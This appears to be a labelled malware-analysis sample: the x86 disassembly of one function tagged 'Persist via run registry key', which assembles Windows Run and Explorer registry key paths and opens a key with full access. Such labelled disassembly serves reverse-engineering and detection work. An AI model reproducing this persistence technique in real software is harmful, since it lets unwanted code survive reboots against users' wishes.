Function at 0x4186c0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov eax, dword [edi]
lea ecx, [ebx + 0x38]
mov dword [ebx + 0x30], eax
mov eax, dword [edi + 4]
mov dword [ebx + 0x34], eax
lea eax, [edi + 8]
push eax
call fcn.00402860
add edi, 0x10
lea ecx, [ebx + 0x40]
push edi
call fcn.00403b40
lea eax, [edi + 4]
push eax
lea ecx, [ebx + 0x44]
call fcn.00403b40
mov eax, dword [edi + 8]
lea ecx, [ebx + 0x50]
mov edi, dword [ebp + 8]
mov dword [ebx + 0x48], eax
mov eax, dword [edi + 0x1c]
mov dword [ebx + 0x4c], eax
lea eax, [edi + 0x20]
push eax
call fcn.00403b40
mov eax, dword [edi + 0x24]
lea ecx, [ebx + 0x58]
mov dword [ebx + 0x54], eax
lea eax, [edi + 0x28]
push eax
call fcn.00403b40
lea eax, [edi + 0x2c]
push eax
lea ecx, [ebx + 0x5c]
call fcn.00403b40
mov eax, dword [edi + 0x30]
lea ecx, [ebx + 0x64]
mov dword [ebx + 0x60], eax
lea eax, [edi + 0x34]
push eax
call fcn.00403b40
mov eax, dword [edi + 0x38]
lea ecx, [ebx + 0x70]
mov dword [ebx + 0x68], eax
mov eax, dword [edi + 0x3c]
mov dword [ebx + 0x6c], eax
lea eax, [edi + 0x40]
push eax
call fcn.00402860
call fcn.00413df0
cmp eax, 1
jne 0x418776
mov eax, 0x23
mov ecx, connect
jmp 0x418780
mov eax, 0x1a
mov ecx, connect
mov dword [ebx + 8], ecx
lea esi, [ebx + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer_
lea ecx, [ebp + 8]
mov dword [ebx + 0xc], eax
call fcn.004032c0
push eax
mov ecx, esi
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea eax, [ebp + 8]
mov ecx, edi
push eax
call fcn.004079b0
push eax
mov ecx, esi
call fcn.004039f0
lea ecx, [ebp + 8]
call fcn.00403ca0
push str.inst
lea ecx, [ebp + 8]
call fcn.004032c0
push eax
lea ecx, [ebx + 0x18]
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
push str.InitWindows
lea ecx, [ebp + 8]
call fcn.004032c0
push eax
lea ecx, [ebx + 0x1c]
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp + 8]
call fcn.004032c0
push eax
lea ecx, [ebx + 0x14]
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
push 0
push 0xf003f
push esi
push connect
mov ecx, ebx
call fcn.00418440
mov dword [ebx + 0x24], eax
test eax, eax
je 0x4188e9
lea ecx, [ebp - 8]
call fcn.00402710
mov ecx, edi
call fcn.00407950
test eax, eax
je 0x4188b9
lea eax, [ebp - 8]
mov ecx, ebx
push eax
lea eax, [ebx + 0x18]
push eax
call fcn.00418530
test eax, eax
je 0x4188b2
lea eax, [ebp + 8]
push eax
sub esp, 8
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.004028b0
sub esp, 8
mov ecx, edi
push esp
call fcn.00407a00
lea eax, [ebp - 0x10]
push eax
call fcn.004083a0
add esp, 0x14
mov ecx, eax
call fcn.00402ae0
push eax
lea ecx, [ebx + 0x20]
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea ecx, [ebp - 0x10]
call fcn.00402b50
mov dword [ebx + 0x28], 1
jmp 0x4188b9
mov dword [ebx + 0x28], 0
mov ecx, edi
call fcn.00407980
test eax, eax
je 0x4188e1
lea eax, [ebp + 8]
push eax
call fcn.00413b10
add esp, 4
lea ecx, [ebx + 0x20]
push eax
call fcn.00403b40
lea ecx, [ebp + 8]
call fcn.00403ca0
lea ecx, [ebp - 8]
call fcn.00402b50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4